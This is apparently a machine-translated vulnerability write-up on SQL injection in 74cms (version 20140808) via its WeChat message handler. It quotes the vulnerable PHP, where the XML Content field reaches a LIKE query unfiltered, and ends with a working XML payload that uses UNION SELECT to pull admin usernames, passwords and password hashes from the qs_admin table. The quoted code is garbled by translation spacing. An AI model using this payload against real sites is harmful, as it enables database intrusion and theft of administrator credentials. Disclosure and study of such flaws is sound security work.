74cms injection (ignore GPC)

The version is the latest 20140808

0x01 code analysis

See the following code for \ plus \ Weixin. php:

Public Function responsemsg () {$ poststr = $ globals ["http_raw_post_data"]; If (! Empty ($ poststr) {$ postobj = simplexml_load_string ($ poststr, 'simplexmlelement', libxml_nocdata); $ fromusername = $ postobj-> fromusername; $ tousername = $ postobj-> tousername; $ keyword = trim ($ postobj-> content); $ keyword = iconv ("UTF-8", "gb2312", $ keyword); $ time = Time (); $ event = trim ($ postobj-> event); if ($ event = "subscribe") {$ word = "Reply J back to urgent recruitment, reply n back to the latest recruitment! You can try to enter a job name such as "accountant". The system will return the information you are looking for. We strive to build the most user-friendly service platform. Thank you for your attention. "; $ Text =" <XML> <tousername> <! [CDATA [". $ fromusername."]> </tousername> <fromusername> <! [CDATA [". $ tousername."]> </fromusername> <createtime> ". $ time." </createtime> <msgtype> <! [CDATA [text]> </msgtype> <content> <! [CDATA [". $ word."]> </content> </XML> "; exit ($ text);} If (! Empty ($ keyword) {if ($ _ CFG ['sina _ apiopen '] = '0') {$ word = "the website interface has been disabled "; $ text = "<XML> <tousername> <! [CDATA [". $ fromusername."]> </tousername> <fromusername> <! [CDATA [". $ tousername."]> </fromusername> <createtime> ". $ time." </createtime> <msgtype> <! [CDATA [text]> </msgtype> <content> <! [CDATA [". $ word. "]> </content> </XML>"; exit ($ text) ;}$ Limit = "limit 6"; $ orderbysql = "order by refreshtime DESC "; if ($ keyword = "N") {$ jobstable = TABLE ('jobs _ search_rtime ');} else if ($ keyword = "J ") {$ jobstable = TABLE ('jobs _ search_rtime '); $ wheresql = "where 'ergency' = 1";} else {$ jobstable = TABLE ('jobs _ search_key '); $ wheresql. = "where likekey like '% {$ keyword} %'" ;}$ word = ''; $ list = $ id = arr Ay (); $ idresult = $ this-> query ("select ID from {$ jobstable }". $ wheresql. $ orderbysql. $ limit); While ($ ROW = $ this-> fetch_array ($ idresult) {$ id [] = $ row ['id'];} If (! Empty ($ id) {$ wheresql = "where ID in (". implode (',', $ id ). ")"; $ result = $ this-> query ("select * from ". table ('jobs '). $ wheresql. $ orderbysql); While ($ ROW = $ this-> fetch_array ($ result) {// $ row ['jobs _ url'] = url_rewrite ('qs _ jobsshow ', array ('id' => $ row ['id']); $ row ['addtime'] = date ("Y-m-d ", $ row ['addtime']); $ row ['demoline'] = date ("Y-m-d", $ row ['demoline']); $ row ['refreshtime'] = date ("Y-m-d", $ row ['refreshti Me ']); $ word. = "{$ row ['companyname']} \ n recruitment position: {$ row ['jobs _ name']} \ n salary: {$ row ['wage _ cn']} \ n recruitment: {$ row ['amount']} \ N Release Date: {$ row ['addtime']} \ n deadline: {$ row ['demoline']} \ n ---------------------------- \ n ";}} if (empty ($ word )) {$ word = "No information containing the keyword {$ keyword} is found. Try other keywords"; $ text = "<XML> <tousername> <! [CDATA [". $ fromusername."]> </tousername> <fromusername> <! [CDATA [". $ tousername."]> </fromusername> <createtime> ". $ time." </createtime> <msgtype> <! [CDATA [text]> </msgtype> <content> <! [CDATA [". $ word. "]> </content> </XML>"; exit ($ text);} else {$ word = rtrim ($ word, '/\ n '); $ word = rtrim ($ word, '-'); $ text = "<XML> <tousername> <! [CDATA [". $ fromusername."]> </tousername> <fromusername> <! [CDATA [". $ tousername."]> </fromusername> <createtime> ". $ time." </createtime> <msgtype> <! [CDATA [text]> </msgtype> <content> <! [CDATA [". $ word. "]> </content> </XML>"; exit ($ text) ;}} else {exit ("");}}}

Use $ globals ["http_raw_post_data"]; To receive parameters. This is similar to post, but it is a little different from post. If a = 1 is submitted, it also receives a = 1. Then, read the code. The passed value passes through the simplexml_load_string function, which is used to parse XML. Then we can see $ keyword, trace $ keyword and find that it has directly entered the database. There is no filtering in the middle. However, we can see single quotes, but it doesn't matter if the parameters we passed in are not affected by GPC. How can we use it? We should construct a malicious XML for injection.

0x02 vulnerability Exploitation

We can see that the content of $ keyword is obtained through </content>, then we construct such XML

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><xml><Content>1%‘ union select group_concat(admin_name,0x3a,pwd,0x3a,pwd_hash) from qs_admin#</Content></xml>

Because it is a white-box test, we know the database structure, and then we can directly construct the exp.